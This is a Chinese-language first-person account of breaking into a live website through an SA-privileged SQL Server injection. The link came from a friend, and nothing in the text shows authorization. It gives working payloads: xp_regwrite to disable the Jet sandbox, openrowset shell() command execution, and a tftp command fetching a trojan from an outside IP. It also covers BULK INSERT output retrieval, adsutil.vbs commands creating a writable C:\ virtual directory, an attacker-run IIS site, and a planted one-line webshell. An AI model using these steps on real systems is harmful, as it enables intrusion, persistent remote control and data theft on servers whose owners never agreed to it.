一次曲折的SA注入与数据库、WEB分离环境实战
在一次技术交流中,一位朋友发来一个链接,声称发现了一个SA权限的SQL注入点,但目标系统是数据库与WEB分离的架构,尝试多次均未成功。听到是SA权限,理论上应该有较大操作空间,我便接手并承诺尽快给出解决方案。
首先通过手工检测验证了该注入点的确具有SA(System Administrator)高权限。具体的漏洞验证细节此处略过,重点分享后续的渗透测试思路与技巧。确认权限后,我直接使用了NBSI这款经典的SQL注入工具进行深入测试。
第一步,尝试恢复被禁用的xp_cmdshell与sp_OACreate这两个关键的扩展存储过程。恢复成功后,执行命令测试却发现无回显,怀疑命令并未真正执行。接着尝试恢复xp_servicecontrol,同样缺乏直接回显。于是改用ECHO命令向指定目录写入测试文件,再利用目录列举功能查看,但目标目录为空。
情况变得复杂起来。管理员很可能禁用了多个常见的危险存储过程。那么,xp_regwrite是否可用呢?尝试之后,决定手动启用沙盒模式:
asp?idx=32;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
启用后,立即通过沙盒模式尝试写入文件:
asp?idx=32 and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo xx >c:\xxx\xxx.txt")'))--
再次列目录,文件成功写入!这意味着我们找到了一个可执行命令的通道,管理员在安全配置上存在疏漏。
获得命令执行能力后,首先尝试使用TFTP上传木马:执行tftp -i ip get muma.exe c:\muma.exe,但长时间无响应。推测服务器可能禁用了TFTP客户端或限制了外部网络连接。
转换思路,执行一段用于远程下载的VBS脚本,同样无果。服务器似乎不主动发起外网请求。为了确认网络环境,执行IPCONFIG并将结果输出到临时文件np.tmp。但如何获取没有回显的命令结果呢?
这里采用了一个巧妙的技巧:利用NBSI能回显查询结果的特性,模拟其原理。
首先创建临时表存储命令输出:
asp?idx=32;CREATE TABLE [NP_ICEHACK](ResultTxt nvarchar(1024) NULL)--
然后,使用BULK INSERT命令将np.tmp文件内容导入该表:
asp? idx=32 BULK INSERT [NP_ICEHACK] FROM 'np.tmp' WITH (KEEPNULLS);insert into [NP_ICEHACK] values ('g_over');Alter Table [NP_ICEHACK] add id int NOT NULL IDENTITY (1,1)--
最后,直接用NBSI查询NP_ICEHACK表,成功获取了数据库服务器的内网IP地址。
获取IP后,使用nmap进行端口扫描,结果出乎意料:仅开放80端口。这与数据库、WEB分离的初步判断相悖。但PING网站域名得到的IP与数据库服务器IP并不一致。
访问该IP的80端口,页面空白。尝试访问常见目录,依旧空白。nmap识别为IIS 5.0,难道是误判?
为了验证,通过沙盒模式执行net stop w3svc停止WEB服务。刷新后80端口无法访问,证明服务确实在运行。执行net start w3svc重启后,提示变为“No web site is configured at this address”。
这表明站点绑定了域名,未配置IP直接访问。此时,尝试为现有站点添加虚拟目录。通过IIS管理脚本查询站点绑定配置(递增数字可遍历不同站点):
cmd /c Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs GET W3SVC/1/ServerBindings
其中,W3SVC/1是IIS元数据库路径,ServerBindings是其绑定属性。
利用NBSI回显查询结果,在站点编号3发现了绑定域名。接着尝试为该站点添加一个高权限虚拟目录:
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs CREATE w3svc/3/Root/np "IIsWebVirtualDir"
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/root/np/Path "C:\"
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessRead 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessWrite 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessScript 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/EnableDirBrowsing 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessSource 1
添加完成后,访问“www.xxx.com/np/”却依然跳转到主站内容。访问不存在子目录也被重定向。这表明服务器很可能配置了URL重写或泛解析规则,将所有请求转发至主域名。
无法利用现有站点,便转换思路:自行创建新站点。执行IIS建站命令:
cmd /c cscript c:\Inetpub\AdminScripts\mkw3site.vbs -r "c:\" -t "test" -c "LocalHost" -o "80" -h "netpatch.xx.com"
同时将自有域名netpatch.xx.com解析至该服务器IP。再次访问,成功看到一个全新的、由自己控制的站点界面。
至此,通道完全打通。最后,通过ECHO命令写入一句话木马,结束了这次充满挑战的渗透测试。
需要说明的是,实际测试过程远比文中描述曲折。在目标环境极为苛刻(仅开80端口、WEB服务被全局转发、服务器无外网访问)的情况下,每一步突破都依赖对系统机制的深度理解、灵活的变通能力以及在本地环境中的反复验证。这正是一次典型的SA权限注入在数据库与WEB分离环境下的高级实战。
